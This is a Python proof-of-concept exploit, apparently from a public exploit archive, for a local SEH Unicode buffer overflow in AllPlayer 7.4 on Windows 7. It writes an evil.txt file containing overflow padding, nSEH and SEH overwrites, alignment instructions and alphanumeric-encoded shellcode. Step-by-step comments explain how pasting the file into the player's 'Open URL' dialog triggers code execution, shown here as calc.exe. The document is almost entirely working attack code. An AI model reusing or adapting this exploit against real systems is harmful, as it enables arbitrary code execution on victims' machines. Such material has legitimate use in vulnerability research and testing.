AllPlayer 7.4 SEH Buffer Overflow

`#!/usr/bin/python -w  
  
#  
# Exploit Author: Chris Au  
# Exploit Title: AllPlayer V7.4 - Local Buffer Overflow (SEH Unicode)  
# Date: 07-04-2019  
# Vulnerable Software: AllPlayer V7.4  
# Vendor Homepage: https://www.allplayer.org/  
# Version: 7.4  
# Software Link: http://allplayer.org/Download/ALLPlayerEN.exe  
# Tested Windows Windows 7 SP1 x86  
#  
#  
# PoC  
# 1. generate evil.txt, copy contents to clipboard  
# 2. open AllPlayer  
# 3. select "Open video or audio file", click "Open URL"  
# 4. paste contents from clipboard  
# 5. select OK  
# 6. calc.exe  
#  
  
filename="evil.txt"  
header = "http://"  
junk = "\xcc" * 301  
nseh = "\x90\x45"  
seh = "\x7a\x74" #pop pop retn  
valign = (  
"\x55" #push ebp  
"\x45" #align  
"\x58" #pop eax  
"\x45" #align  
"\x05\x20\x11" #add eax,11002000  
"\x45" #align  
"\x2d\x18\x11" #sub eax,11001900  
"\x45" #align  
"\x50" #push eax  
"\x45" #align  
"\xc3" #retn  
)  
#nop to shell  
nop = "\xcc" * 115  
shellcode = (  
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAI"  
"AQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIA"  
"JQYAZBABABABABkMAGB9u4JBkLK8qrM0ypyps0e9xeP1Y0RD4K"  
"npnPrkPRLLbkb2N42kt2lhlOegmzkvMaYodlMl0aqlKRnLo0Uq"  
"foLMzai7zBl2nrOgTKnrJptKNjoLBkpLjqahISQ8KQ8QpQRkaI"  
"kpKQYCbkMyzxHcnZq9bkNTTK9q9FMaYofLVa8OLMjaI7p8GpRU"  
"9flCamXxmksMo4d5JD1HrknxMTYq8Sc6RkJl0KtKnxKlkQFs4K"  
"zdtKKQJ0RiQ4NDLdOkOkC1pYOjOakOyPQOqOpZ4KN2zKTMaM0j"  
"kQbmu55bKP9pM0b0C8014KROQwkOIEek8pTuTbPVQXcvTU7MeM"  
"iohUOLm6qlyze09k7p0u9ugKa7mCPrbOqZ9pOcYoHURCPa0l0c"  
"Lnc51hOuipAA")  
fill = "\x45" * 5000  
buffer = header + junk + nseh + seh + valign + nop + shellcode + fill  
textfile = open(filename , 'w')  
textfile.write(buffer)  
textfile.close()  
`